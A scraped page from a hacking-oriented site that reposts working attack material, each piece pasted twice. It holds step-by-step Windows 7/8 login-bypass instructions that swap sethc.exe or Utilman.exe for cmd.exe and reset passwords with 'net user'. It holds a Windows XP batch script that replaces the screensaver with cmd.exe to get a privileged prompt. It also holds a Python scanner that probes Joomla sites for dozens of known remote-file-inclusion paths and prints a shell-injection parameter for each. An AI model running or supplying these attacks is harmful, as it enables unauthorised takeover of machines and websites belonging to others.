Code Scripting – Page 50 – Security List Network™

Microsoft Windows 7 / 8 / 8.1 Manual Auth Bypass.

0101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101
0    ▄██████▄     ▄█    █▄     ▄██████▄     ▄████████     ███     ▄██   ▄                    0
1   ███    ███   ███    ███   ███    ███   ███    ███ ▀█████████▄ ███   ██▄                  1
0   ███    █▀    ███    ███   ███    ███   ███    █▀     ▀███▀▀██ ███▄▄▄███                  0
1  ▄███         ▄███▄▄▄▄███▄▄ ███    ███   ███            ███   ▀ ▀▀▀▀▀▀███                  1
0 ▀▀███ ████▄  ▀▀███▀▀▀▀███▀  ███    ███ ▀███████████     ███     ▄██   ███                  0
1   ███    ███   ███    ███   ███    ███          ███     ███     ███   ███                  1
0   ███    ███   ███    ███   ███    ███    ▄█    ███     ███     ███   ███                  0
1   ████████▀    ███    █▀     ▀██████▀   ▄████████▀     ▄████▀    ▀█████▀                   1
0                               im Gh0sty member Of 1337Day Algeria                          0
1--------------------------------------------------------------------------------------------0
0 Title           :  Microsoft Windows 7  / 8 / 8.1 Manual Auth Bypass                       1
1 Discovrer       :  Ghosty (0x9h027)                                                        0
0 Email           :  x31337666[at]gmail[dot]com                                              1
1 Facebook        :  https://facebook.com/0x9h027  (Subscribe Or PM me Only)                 0
0 Home            :  Algeria 16023 ( Alger - Hydra )                                         1
1 Category        :  Proof Of Concept                                                        0
0101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101
// Follow Steps Written Below 3:) 

0x01 ~ Cracking Windows 7 Login 
________________________________
     ~ 1/ Make a Bootable ( DVD or USB Device ) Any Live OS like (MiniLinux - MiniXP - Ubunto ) And boot From It 
     ~ 2/ Go To "C:\Windows\System32\" and backup These Files cmd.exe , sethc.exe
     ~ 3/ Now Delete sethc.exe 
	 ~ 4/ Now Rename cmd.exe to sethc.exe
	 ~ 5/ Reboot To Your Windows In The Login Panel 
	 ~ 6/ CLICK in "Ease Of Access" BUTTON And Select[ High-Contrast //  On-Screen-Keyboard // Sticky Keys] Then Ok You Will Get COMMAND :)
	 ~ 7/ In CMD typeIn "mmc"
	 ~ 8/ Congratulation Now In mmc You Can Change Your User Password :p

0x02 ~ Cracking Windows 8 Login
_______________________________
     ~ 1/ Make a Bootable ( DVD or USB Device ) Of Windows 8 Then Boot from it 
	 ~ 2/ In Setup Screen CLICK REPIAR COMPUTER Then Select TROUBLESHOOT >> ADVANCED OPTIONS >> COMMAND PROMPT
	 ~ 3/ IN PROMPT EXECUTE : cd c:\Windows\System32\
	                          ren Utilman.exe Utilman2.exe
							  ren cmd.exe Utilman.exe
	~ 4/ In Your Login Panel Click On "Ease Of Access" You Will Get COMMAND PROMPT 3:)
    ~ 5/ Congratulation You Can Execute : net user [USERNAME] and change your password :p
	
ping~########################################################################################\
inject0rTEAM-ExploitiD-ExploitDB-an0nghost-an0nsec-an0nDZ-DZMAFIA-TEAM152                    #
Caddy-Tr0ooN-KedAnZ-KingOfPirates-backoverDZ-cc0de-foundZ-kha&m!x-El!teTr0jan                #
#############################################################################################/
#EOF

0101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101

0 ▄██████▄ ▄█ █▄ ▄██████▄ ▄████████ ███ ▄██ ▄ 0

1 ███ ███ ███ ███ ███ ███ ███ ███ ▀█████████▄ ███ ██▄ 1

0 ███ █▀ ███ ███ ███ ███ ███ █▀ ▀███▀▀██ ███▄▄▄███ 0

1 ▄███ ▄███▄▄▄▄███▄▄ ███ ███ ███ ███ ▀ ▀▀▀▀▀▀███ 1

0 ▀▀███ ████▄ ▀▀███▀▀▀▀███▀ ███ ███ ▀███████████ ███ ▄██ ███ 0

1 ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ 1

0 ███ ███ ███ ███ ███ ███ ▄█ ███ ███ ███ ███ 0

1 ████████▀ ███ █▀ ▀██████▀ ▄████████▀ ▄████▀ ▀█████▀ 1

0 im Gh0sty member Of 1337Day Algeria 0

1--------------------------------------------------------------------------------------------0

0 Title : Microsoft Windows 7 / 8 / 8.1 Manual Auth Bypass 1

1 Discovrer : Ghosty (0x9h027) 0

0 Email : x31337666[at]gmail[dot]com 1

1 Facebook : https://facebook.com/0x9h027 (Subscribe Or PM me Only) 0

0 Home : Algeria 16023 ( Alger - Hydra ) 1

1 Category : Proof Of Concept 0

0101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101

// Follow Steps Written Below 3:)

0x01 ~ Cracking Windows 7 Login

________________________________

~ 1/ Make a Bootable ( DVD or USB Device ) Any Live OS like (MiniLinux - MiniXP - Ubunto ) And boot From It

~ 2/ Go To "C:\Windows\System32\" and backup These Files cmd.exe , sethc.exe

~ 3/ Now Delete sethc.exe

~ 4/ Now Rename cmd.exe to sethc.exe

~ 5/ Reboot To Your Windows In The Login Panel

~ 6/ CLICK in "Ease Of Access" BUTTON And Select[ High-Contrast // On-Screen-Keyboard // Sticky Keys] Then Ok You Will Get COMMAND :)

~ 7/ In CMD typeIn "mmc"

~ 8/ Congratulation Now In mmc You Can Change Your User Password :p

0x02 ~ Cracking Windows 8 Login

_______________________________

~ 1/ Make a Bootable ( DVD or USB Device ) Of Windows 8 Then Boot from it

~ 2/ In Setup Screen CLICK REPIAR COMPUTER Then Select TROUBLESHOOT >> ADVANCED OPTIONS >> COMMAND PROMPT

~ 3/ IN PROMPT EXECUTE : cd c:\Windows\System32\

ren Utilman.exe Utilman2.exe

ren cmd.exe Utilman.exe

~ 4/ In Your Login Panel Click On "Ease Of Access" You Will Get COMMAND PROMPT 3:)

~ 5/ Congratulation You Can Execute : net user [USERNAME] and change your password :p

ping~########################################################################################\

inject0rTEAM-ExploitiD-ExploitDB-an0nghost-an0nsec-an0nDZ-DZMAFIA-TEAM152 #

Caddy-Tr0ooN-KedAnZ-KingOfPirates-backoverDZ-cc0de-foundZ-kha&m!x-El!teTr0jan #

#############################################################################################/

#EOF

Source : http://pastebin.com/eHQxCT2z

Read Article →

Bash Script for Windows XP Local Privilege Escalation Exploit.

November 22, 2014

skygear

Code Scripting, Exploits

Windows XP Local Privilege Escalation Exploit.

0101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101
0    ▄██████▄     ▄█    █▄     ▄██████▄     ▄████████     ███     ▄██   ▄                    0
1   ███    ███   ███    ███   ███    ███   ███    ███ ▀█████████▄ ███   ██▄                  1
0   ███    █▀    ███    ███   ███    ███   ███    █▀     ▀███▀▀██ ███▄▄▄███                  0
1  ▄███         ▄███▄▄▄▄███▄▄ ███    ███   ███            ███   ▀ ▀▀▀▀▀▀███                  1
0 ▀▀███ ████▄  ▀▀███▀▀▀▀███▀  ███    ███ ▀███████████     ███     ▄██   ███                  0
1   ███    ███   ███    ███   ███    ███          ███     ███     ███   ███                  1
0   ███    ███   ███    ███   ███    ███    ▄█    ███     ███     ███   ███                  0
1   ████████▀    ███    █▀     ▀██████▀   ▄████████▀     ▄████▀    ▀█████▀                   1
0                               im Gh0sty member Of 1337Day Algeria                          0
1--------------------------------------------------------------------------------------------0
0 Title           :  Windows XP Local Privilege Escalation Exploit                           1
1 Discovrer       :  Ghosty (0x9h027)                                                        0
0 Email           :  x31337666[at]gmail[dot]com                                              1
1 Facebook        :  https://facebook.com/0x9h027  (Subscribe Or PM me Only)                 0
0 Home            :  Algeria 16023 ( Alger - Hydra )                                         1
1 Category        :  Proof Of Concept                                                        0
0 Tested    :  Windows XP SP1 , SP2 (FRENSH)                                                 1
1010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010
// BATCH SCRIPT START HERE

@echo off
title Windows XP Local Privilege Escalation Exploit
color 0a
cls
cd / && cd windows/system32/
mkdir ghosty && copy logon.scr ghosty\logon.scr && copy cmd.exe ghosty\cmd.exe
del logon.scr && rename cmd.exe logon.scr
echo.
echo.
echo Activate Screensaver and wait for it
echo an Unprotected dos prompt will appear 
:: Gh0sty Grrr --- F-ck h4ck!n Luv 3xpl0!ting --- <3 <3 <3
:: short explaination
:: so in this script we backup the cmd.exe(COMMAND PROMPT) & logon.src(SCREENSAVER)
:: then we delete logon.scr and rename cmd.exe to logon.scr 
:: we set screensaver and wait for it the system (NT/AUTORITE) will look for screen saver file (logon.scr) but its cmd.exe
:: so he will execute cmd.exe with higher privilege :) so we can use this to get the administrator account 
:: ex:  net user [ADMIN_HERE] [PASS_HERE]

//SCRIPT END
	
ping~########################################################################################\
inject0rTEAM-ExploitiD-ExploitDB-an0nghost-an0nsec-an0nDZ-DZMAFIA-TEAM152                    #
Caddy-Tr0ooN-KedAnZ-KingOfPirates-backoverDZ-cc0de-foundZ-kha&m!x-El!teTr0jan                #
#############################################################################################/
#EOF

0101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101

0 ▄██████▄ ▄█ █▄ ▄██████▄ ▄████████ ███ ▄██ ▄ 0

1 ███ ███ ███ ███ ███ ███ ███ ███ ▀█████████▄ ███ ██▄ 1

0 ███ █▀ ███ ███ ███ ███ ███ █▀ ▀███▀▀██ ███▄▄▄███ 0

1 ▄███ ▄███▄▄▄▄███▄▄ ███ ███ ███ ███ ▀ ▀▀▀▀▀▀███ 1

0 ▀▀███ ████▄ ▀▀███▀▀▀▀███▀ ███ ███ ▀███████████ ███ ▄██ ███ 0

1 ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ 1

0 ███ ███ ███ ███ ███ ███ ▄█ ███ ███ ███ ███ 0

1 ████████▀ ███ █▀ ▀██████▀ ▄████████▀ ▄████▀ ▀█████▀ 1

0 im Gh0sty member Of 1337Day Algeria 0

1--------------------------------------------------------------------------------------------0

0 Title : Windows XP Local Privilege Escalation Exploit 1

1 Discovrer : Ghosty (0x9h027) 0

0 Email : x31337666[at]gmail[dot]com 1

1 Facebook : https://facebook.com/0x9h027 (Subscribe Or PM me Only) 0

0 Home : Algeria 16023 ( Alger - Hydra ) 1

1 Category : Proof Of Concept 0

0 Tested : Windows XP SP1 , SP2 (FRENSH) 1

1010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010

// BATCH SCRIPT START HERE

@echo off

title Windows XP Local Privilege Escalation Exploit

color 0a

cls

cd / && cd windows/system32/

mkdir ghosty && copy logon.scr ghosty\logon.scr && copy cmd.exe ghosty\cmd.exe

del logon.scr && rename cmd.exe logon.scr

echo.

echo Activate Screensaver and wait for it

echo an Unprotected dos prompt will appear

:: Gh0sty Grrr --- F-ck h4ck!n Luv 3xpl0!ting --- <3 <3 <3

:: short explaination

:: so in this script we backup the cmd.exe(COMMAND PROMPT) & logon.src(SCREENSAVER)

:: then we delete logon.scr and rename cmd.exe to logon.scr

:: we set screensaver and wait for it the system (NT/AUTORITE) will look for screen saver file (logon.scr) but its cmd.exe

:: so he will execute cmd.exe with higher privilege :) so we can use this to get the administrator account

:: ex: net user [ADMIN_HERE] [PASS_HERE]

//SCRIPT END

ping~########################################################################################\

inject0rTEAM-ExploitiD-ExploitDB-an0nghost-an0nsec-an0nDZ-DZMAFIA-TEAM152 #

Caddy-Tr0ooN-KedAnZ-KingOfPirates-backoverDZ-cc0de-foundZ-kha&m!x-El!teTr0jan #

#############################################################################################/

#EOF

Source : http://pastebin.com/SBXFFaY6

Read Article →

JoomlaScan V-1.2 released : Scans known vulnerable RFI path/files in Joomla and reports http response.

November 21, 2014

0x0mar

Code Scripting, Penetration Test, Scanner

Scans known vulnerable RFI path/files in Joomla and reports http response.

#!usr/bin/python
#Scans known vulnerable RFI path/files in Joomla and reports http response.
#Changelog ver1.1: added proxy support, shells, 404 option 
#Changelog ver1.2: fixed joomla path problem
#http://www.darkc0de.com

import sys, re, httplib, time, socket

def main(path):
	try:
		if proxy != 0:
			h.putrequest("GET", "http://"+host+"/"+path)
		else:
			h.putrequest("HEAD", path)
		h.putheader("Host", host)
		h.endheaders()
		status, reason, headers = h.getreply()
		return status, reason
	except(), msg: 
		print "Error Occurred:",msg
		pass

def timer():
	now = time.localtime(time.time())
	return time.asctime(now)

print "\n\t   RIBO -ALIENS JoomlaScan v1.2"
print "\t--------------------------------------------"

if len(sys.argv) < 2 or len(sys.argv) > 5:
	print "\nUsage: ./joomlascan.py <site> <options>"
	print "\t[options]"
	print "\t   -p/-proxy <host:port> : Add proxy support"
	print "\t   -404 : Won't show 404 responses"
	print "Ex: ./joomlascan.py www.test.com -404 -proxy 127.0.0.1:8080\n"
	sys.exit(1)
	
for arg in sys.argv[1:]:
	if arg.lower() == "-p" or arg.lower() == "-proxy":
		proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
	if arg.lower() == "-404":
		show = 404
		
try:
	if proxy:
		print "\n[+] Testing Proxy..."
		h2 = httplib.HTTPConnection(proxy)
		h2.connect()
		print "[+] Proxy:",proxy
except(socket.timeout):
	print "\n[-] Proxy Timed Out"
	proxy = 0
	pass
except(NameError):
	print "\n[-] Proxy Not Given"
	proxy = 0
	pass
except:
	print "\n[-] Proxy Failed"
	proxy = 0
	pass

paths = {"components/com_flyspray/startdown.php" : "startdown.php?file=shell",
		"administrator/components/com_admin/admin.admin.html.php" : "admin.admin.html.php?mosConfig_absolute_path=shell",
		"components/com_simpleboard/file_upload.php" : "file_upload.php?sbp=shell",
		"components/com_hashcash/server.php" : "server.php?mosConfig_absolute_path=shell",
		"components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php" : "config.inc.php?mosConfig_absolute_path=shell",
		"components/com_sitemap/sitemap.xml.php" : "sitemap.xml.php?mosConfig_absolute_path=shell ",
		"components/com_performs/performs.php" : "performs.php?mosConfig_absolute_path=shell",
		"components/com_forum/download.php" : "download.php?phpbb_root_path=shell",
		"components/com_pccookbook/pccookbook.php" : "pccookbook.php?mosConfig_absolute_path=shell",
		"components/com_extcalendar/extcalendar.php" : "extcalendar.php?mosConfig_absolute_path=shell",
		"components/minibb/index.php" : "index.php?absolute_path=shell",
		"components/com_smf/smf.php" : "smf.php?mosConfig_absolute_path=",
		"modules/mod_calendar.php" : "mod_calendar.php?absolute_path=shell ",
		"components/com_pollxt/conf.pollxt.php" : "conf.pollxt.php?mosConfig_absolute_path=shell ",
		"components/com_loudmounth/includes/abbc/abbc.class.php" : "abbc.class.php?mosConfig_absolute_path=shell",
		"components/com_videodb/core/videodb.class.xml.php" : "videodb.class.xml.php?mosConfig_absolute_path=shell",
		"components/com_pcchess/include.pcchess.php" : "include.pcchess.php?mosConfig_absolute_path=shell",
		"administrator/components/com_multibanners/extadminmenus.class.php" : "extadminmenus.class.php?

mosConfig_absolute_path=shell",
		"administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php" : "admin.a6mambohelpdesk.php?

mosConfig_live_site=shell",
		"administrator/components/com_colophon/admin.colophon.php" : "admin.colophon.php?mosConfig_absolute_path=shell",
		"administrator/components/com_mgm/help.mgm.php" : "help.mgm.php?mosConfig_absolute_path=shell",
		"components/com_mambatstaff/mambatstaff.php" : "mambatstaff.php?mosConfig_absolute_path=shell",
		"components/com_securityimages/configinsert.php" : "configinsert.php?mosConfig_absolute_path=shell",
		"components/com_securityimages/lang.php" : "lang.php?mosConfig_absolute_path=shell",
		"components/com_artlinks/artlinks.dispnew.php" : "artlinks.dispnew.php?mosConfig_absolute_path=shell",
		"components/com_galleria/galleria.html.php" : "galleria.html.php?mosConfig_absolute_path=shell",
		"akocomments.php" : "akocomments.php?mosConfig_absolute_path=shell",
		"administrator/components/com_cropimage/admin.cropcanvas.php" : "admin.cropcanvas.php?cropimagedir=shell",
		"administrator/components/com_kochsuite/config.kochsuite.php" : "config.kochsuite.php?mosConfig_absolute_path=shell",
		"administrator/components/com_comprofiler/plugin.class.php" : "plugin.class.php?mosConfig_absolute_path=shell",
		"components/com_zoom/classes/fs_unix.php" : "fs_unix.php?mosConfig_absolute_path=shell",
		"components/com_zoom/includes/database.php" : "database.php?mosConfig_absolute_path=shell",
		"administrator/components/com_serverstat/install.serverstat.php" : "install.serverstat.php?

mosConfig_absolute_path=shell",
		"components/com_fm/fm.install.php" : "fm.install.php?lm_absolute_path=shell",
		"administrator/components/com_mambelfish/mambelfish.class.php" : "mambelfish.class.php?

mosConfig_absolute_path=shell",
		"components/com_lmo/lmo.php" : "lmo.php?mosConfig_absolute_path=shell",
		"administrator/components/com_linkdirectory/toolbar.linkdirectory.html.php" : "toolbar.linkdirectory.html.php?

mosConfig_absolute_ path=shell",
		"components/com_mtree/Savant2/Savant2_Plugin_textarea.php" : "Savant2_Plugin_textarea.php?

mosConfig_absolute_path=shell",
		"administrator/components/com_jim/install.jim.php" : "install.jim.php?mosConfig_absolute_path=shell",
		"administrator/components/com_webring/admin.webring.docs.php" : "admin.webring.docs.php?component_dir=shell",
		"administrator/components/com_remository/admin.remository.php" : "admin.remository.php?

mosConfig_absolute_path=shell",
		"administrator/components/com_babackup/classes/Tar.php" : "Tar.php?mosConfig_absolute_path=shell",
		"administrator/components/com_lurm_constructor/admin.lurm_constructor.php" : "admin.lurm_constructor.php?

lm_absolute_path=shell",
		"components/com_mambowiki/MamboLogin.php" : "MamboLogin.php?IP=shell",
		"administrator/components/com_a6mambocredits/admin.a6mambocredits.php" : "admin.a6mambocredits.php?

mosConfig_live_site=shell",
		"administrator/components/com_phpshop/toolbar.phpshop.html.php" : "toolbar.phpshop.html.php?

mosConfig_absolute_path=shell",
		"components/com_cpg/cpg.php" : "cpg.php?mosConfig_absolute_path=shell",
		"components/com_moodle/moodle.php" : "moodle.php?mosConfig_absolute_path=shell ",
		"components/com_extended_registration/registration_detailed.inc.php" : "registration_detailed.inc.php?

mosConfig_absolute_path=shell",
		"components/com_mospray/scripts/admin.php" : "admin.php?basedir=shell",
		"administrator/components/com_bayesiannaivefilter/lang.php" : "lang.php?mosConfig_absolute_path=shell",
		"administrator/components/com_uhp/uhp_config.php" : "uhp_config.php?mosConfig_absolute_path=shell",
		"administrator/components/com_peoplebook/param.peoplebook.php" : "param.peoplebook.php?

mosConfig_absolute_path=shell",
		"administrator/components/com_mmp/help.mmp.php" : "help.mmp.php?mosConfig_absolute_path=shell",
		"components/com_reporter/processor/reporter.sql.php" : "reporter.sql.php?mosConfig_absolute_path=shell",
		"components/com_madeira/img.php" : "img.php?url=shell",
		"components/com_jd-wiki/lib/tpl/default/main.php" : "main.php?mosConfig_absolute_path=shell",
		"components/com_bsq_sitestats/external/rssfeed.php" : "rssfeed.php?baseDir=shell",
		"com_bsq_sitestats/external/rssfeed.php" : "rssfeed.php?baseDir=shell",
		"components/com_slideshow/admin.slideshow1.php" : "admin.slideshow1.php?mosConfig_live_site=shell",
		"administrator/components/com_panoramic/admin.panoramic.php" : "admin.panoramic.php?mosConfig_live_site=shell",
		"administrator/components/com_mosmedia/includes/credits.html.php" : "credits.html.php?mosConfig_absolute_path=shell",
		"administrator/components/com_mosmedia/includes/info.html.php" : "info.html.php?mosConfig_absolute_path=shell",
		"administrator/components/com_mosmedia/includes/media.divs.php" : "media.divs.php?mosConfig_absolute_path=shell",
		"administrator/components/com_mosmedia/includes/media.divs.js.php" : "media.divs.js.php?

mosConfig_absolute_path=shell",
		"administrator/components/com_mosmedia/includes/purchase.html.php" : "purchase.html.php?

mosConfig_absolute_path=shell",
		"administrator/components/com_mosmedia/includes/support.html.php" : "support.html.php?mosConfig_absolute_path=shell",
		"administrator/components/com_wmtportfolio/admin.wmtportfolio.php" : "admin.wmtportfolio.php?

mosConfig_absolute_path=shell",
		"components/com_mp3_allopass/allopass.php" : "components/com_mp3_allopass/allopass.php?mosConfig_live_site=shell",
		"components/com_mp3_allopass/allopass-error.php" : "components/com_mp3_allopass/allopass-error.php?

mosConfig_live_site=shell",
		"administrator/components/com_jcs/jcs.function.php" : "administrator/components/com_jcs/jcs.function.php?

mosConfig_absolute_path=shell",
		"administrator/components/com_jcs/view/add.php" : "administrator/components/com_jcs/view/add.php?

mosConfig_absolute_path=shell",
		"administrator/components/com_jcs/view/history.php" : "administrator/components/com_jcs/view/history.php?

mosConfig_absolute_path=shell",
		"administrator/components/com_jcs/view/register.php" : "administrator/components/com_jcs/view/register.php?

mosConfig_absolute_path=shell",
		"administrator/components/com_jcs/views/list.sub.html.php" : 

"administrator/components/com_jcs/views/list.sub.html.php?mosConfig_absolute_path=shell",
		"administrator/components/com_jcs/views/list.user.sub.html.php" : 

"administrator/components/com_jcs/views/list.user.sub.html.php?mosConfig_absolute_path=shell",
		"administrator/components/com_jcs/views/reports.html.php" : 

"administrator/components/com_jcs/views/reports.html.php?mosConfig_absolute_path=shell",
		"com_joomla_flash_uploader/install.joomla_flash_uploader.php" : 

"com_joomla_flash_uploader/install.joomla_flash_uploader.php?mosConfig_absolute_path=shell",
		"com_joomla_flash_uploader/uninstall.joomla_flash_uploader.php" : 

"com_joomla_flash_uploader/uninstall.joomla_flash_uploader.php?mosConfig_absolute_path=shell"}

host = sys.argv[1]
print "[+] Target:",host
try:
	if show == 404:
		print "[+] 404 Block On\n"
except(NameError):
	print "[-] 404 Block Off\n"
	show = 0
	pass
print "[+] Loaded:",len(paths),"paths"
host = host.replace("http://","")
if host.count("/") >= 2:
	j_path = host.split("/",1)[1].replace("index.php","")
	host = host.split("/",1)[0]
else:
	if host[-1:] == "/":
		host = host[:-1]
	j_path = ""
	
if j_path[-1:] != "/":
	j_path = j_path+"/"
	
print "[+] Started:",timer()
print "[+] Scanning..."
time.sleep(3)

if proxy != 0:
	h = httplib.HTTP(proxy)
else:
	h = httplib.HTTP(host)
	
for path, shell in paths.items():
	print "\n[+] Trying:",j_path+path
	try:
		response, reason = main(j_path+path)
		if show != 404:
			print "[+] Got:",response, reason
			print "[+] Shell:",shell
		else:
			if response != 404:
				print "[+] Got:",response, reason
				print "[+] Shell:",shell
				
	except(AttributeError, TypeError, socket.error):
		pass
	except(KeyboardInterrupt):
		pass
print "\n[-] Done:",timer(),"\n"

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

#!usr/bin/python

#Scans known vulnerable RFI path/files in Joomla and reports http response.

#Changelog ver1.1: added proxy support, shells, 404 option

#Changelog ver1.2: fixed joomla path problem

#http://www.darkc0de.com

import sys, re, httplib, time, socket

def main(path):

try:

if proxy != 0:

h.putrequest("GET", "http://"+host+"/"+path)

else:

h.putrequest("HEAD", path)

h.putheader("Host", host)

h.endheaders()

status, reason, headers = h.getreply()

return status, reason

except(), msg:

print "Error Occurred:",msg

pass

def timer():

now = time.localtime(time.time())

return time.asctime(now)

print "\n\t RIBO -ALIENS JoomlaScan v1.2"

print "\t--------------------------------------------"

if len(sys.argv) < 2 or len(sys.argv) > 5:

print "\nUsage: ./joomlascan.py <site> <options>"

print "\t[options]"

print "\t -p/-proxy <host:port> : Add proxy support"

print "\t -404 : Won't show 404 responses"

print "Ex: ./joomlascan.py www.test.com -404 -proxy 127.0.0.1:8080\n"

sys.exit(1)

for arg in sys.argv[1:]:

if arg.lower() == "-p" or arg.lower() == "-proxy":

proxy = sys.argv[int(sys.argv[1:].index(arg))+2]

if arg.lower() == "-404":

show = 404

try:

if proxy:

print "\n[+] Testing Proxy..."

h2 = httplib.HTTPConnection(proxy)

h2.connect()

print "[+] Proxy:",proxy

except(socket.timeout):

print "\n[-] Proxy Timed Out"

proxy = 0

pass

except(NameError):

print "\n[-] Proxy Not Given"

proxy = 0

pass

except:

print "\n[-] Proxy Failed"

proxy = 0

pass

paths = {"components/com_flyspray/startdown.php" : "startdown.php?file=shell",

"administrator/components/com_admin/admin.admin.html.php" : "admin.admin.html.php?mosConfig_absolute_path=shell",

"components/com_simpleboard/file_upload.php" : "file_upload.php?sbp=shell",

"components/com_hashcash/server.php" : "server.php?mosConfig_absolute_path=shell",

"components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php" : "config.inc.php?mosConfig_absolute_path=shell",

"components/com_sitemap/sitemap.xml.php" : "sitemap.xml.php?mosConfig_absolute_path=shell ",

"components/com_performs/performs.php" : "performs.php?mosConfig_absolute_path=shell",

"components/com_forum/download.php" : "download.php?phpbb_root_path=shell",

"components/com_pccookbook/pccookbook.php" : "pccookbook.php?mosConfig_absolute_path=shell",

"components/com_extcalendar/extcalendar.php" : "extcalendar.php?mosConfig_absolute_path=shell",

"components/minibb/index.php" : "index.php?absolute_path=shell",

"components/com_smf/smf.php" : "smf.php?mosConfig_absolute_path=",

"modules/mod_calendar.php" : "mod_calendar.php?absolute_path=shell ",

"components/com_pollxt/conf.pollxt.php" : "conf.pollxt.php?mosConfig_absolute_path=shell ",

"components/com_loudmounth/includes/abbc/abbc.class.php" : "abbc.class.php?mosConfig_absolute_path=shell",

"components/com_videodb/core/videodb.class.xml.php" : "videodb.class.xml.php?mosConfig_absolute_path=shell",

"components/com_pcchess/include.pcchess.php" : "include.pcchess.php?mosConfig_absolute_path=shell",

"administrator/components/com_multibanners/extadminmenus.class.php" : "extadminmenus.class.php?

mosConfig_absolute_path=shell",

"administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php" : "admin.a6mambohelpdesk.php?

mosConfig_live_site=shell",

"administrator/components/com_colophon/admin.colophon.php" : "admin.colophon.php?mosConfig_absolute_path=shell",

"administrator/components/com_mgm/help.mgm.php" : "help.mgm.php?mosConfig_absolute_path=shell",

"components/com_mambatstaff/mambatstaff.php" : "mambatstaff.php?mosConfig_absolute_path=shell",

"components/com_securityimages/configinsert.php" : "configinsert.php?mosConfig_absolute_path=shell",

"components/com_securityimages/lang.php" : "lang.php?mosConfig_absolute_path=shell",

"components/com_artlinks/artlinks.dispnew.php" : "artlinks.dispnew.php?mosConfig_absolute_path=shell",

"components/com_galleria/galleria.html.php" : "galleria.html.php?mosConfig_absolute_path=shell",

"akocomments.php" : "akocomments.php?mosConfig_absolute_path=shell",

"administrator/components/com_cropimage/admin.cropcanvas.php" : "admin.cropcanvas.php?cropimagedir=shell",

"administrator/components/com_kochsuite/config.kochsuite.php" : "config.kochsuite.php?mosConfig_absolute_path=shell",

"administrator/components/com_comprofiler/plugin.class.php" : "plugin.class.php?mosConfig_absolute_path=shell",

"components/com_zoom/classes/fs_unix.php" : "fs_unix.php?mosConfig_absolute_path=shell",

"components/com_zoom/includes/database.php" : "database.php?mosConfig_absolute_path=shell",

"administrator/components/com_serverstat/install.serverstat.php" : "install.serverstat.php?

mosConfig_absolute_path=shell",

"components/com_fm/fm.install.php" : "fm.install.php?lm_absolute_path=shell",

"administrator/components/com_mambelfish/mambelfish.class.php" : "mambelfish.class.php?

mosConfig_absolute_path=shell",

"components/com_lmo/lmo.php" : "lmo.php?mosConfig_absolute_path=shell",

"administrator/components/com_linkdirectory/toolbar.linkdirectory.html.php" : "toolbar.linkdirectory.html.php?

mosConfig_absolute_ path=shell",

"components/com_mtree/Savant2/Savant2_Plugin_textarea.php" : "Savant2_Plugin_textarea.php?

mosConfig_absolute_path=shell",

"administrator/components/com_jim/install.jim.php" : "install.jim.php?mosConfig_absolute_path=shell",

"administrator/components/com_webring/admin.webring.docs.php" : "admin.webring.docs.php?component_dir=shell",

"administrator/components/com_remository/admin.remository.php" : "admin.remository.php?

mosConfig_absolute_path=shell",

"administrator/components/com_babackup/classes/Tar.php" : "Tar.php?mosConfig_absolute_path=shell",

"administrator/components/com_lurm_constructor/admin.lurm_constructor.php" : "admin.lurm_constructor.php?

lm_absolute_path=shell",

"components/com_mambowiki/MamboLogin.php" : "MamboLogin.php?IP=shell",

"administrator/components/com_a6mambocredits/admin.a6mambocredits.php" : "admin.a6mambocredits.php?

mosConfig_live_site=shell",

"administrator/components/com_phpshop/toolbar.phpshop.html.php" : "toolbar.phpshop.html.php?

mosConfig_absolute_path=shell",

"components/com_cpg/cpg.php" : "cpg.php?mosConfig_absolute_path=shell",

"components/com_moodle/moodle.php" : "moodle.php?mosConfig_absolute_path=shell ",

"components/com_extended_registration/registration_detailed.inc.php" : "registration_detailed.inc.php?

mosConfig_absolute_path=shell",

"components/com_mospray/scripts/admin.php" : "admin.php?basedir=shell",

"administrator/components/com_bayesiannaivefilter/lang.php" : "lang.php?mosConfig_absolute_path=shell",

"administrator/components/com_uhp/uhp_config.php" : "uhp_config.php?mosConfig_absolute_path=shell",

"administrator/components/com_peoplebook/param.peoplebook.php" : "param.peoplebook.php?

mosConfig_absolute_path=shell",

"administrator/components/com_mmp/help.mmp.php" : "help.mmp.php?mosConfig_absolute_path=shell",

"components/com_reporter/processor/reporter.sql.php" : "reporter.sql.php?mosConfig_absolute_path=shell",

"components/com_madeira/img.php" : "img.php?url=shell",

"components/com_jd-wiki/lib/tpl/default/main.php" : "main.php?mosConfig_absolute_path=shell",

"components/com_bsq_sitestats/external/rssfeed.php" : "rssfeed.php?baseDir=shell",

"com_bsq_sitestats/external/rssfeed.php" : "rssfeed.php?baseDir=shell",

"components/com_slideshow/admin.slideshow1.php" : "admin.slideshow1.php?mosConfig_live_site=shell",

"administrator/components/com_panoramic/admin.panoramic.php" : "admin.panoramic.php?mosConfig_live_site=shell",

"administrator/components/com_mosmedia/includes/credits.html.php" : "credits.html.php?mosConfig_absolute_path=shell",

"administrator/components/com_mosmedia/includes/info.html.php" : "info.html.php?mosConfig_absolute_path=shell",

"administrator/components/com_mosmedia/includes/media.divs.php" : "media.divs.php?mosConfig_absolute_path=shell",

"administrator/components/com_mosmedia/includes/media.divs.js.php" : "media.divs.js.php?

mosConfig_absolute_path=shell",

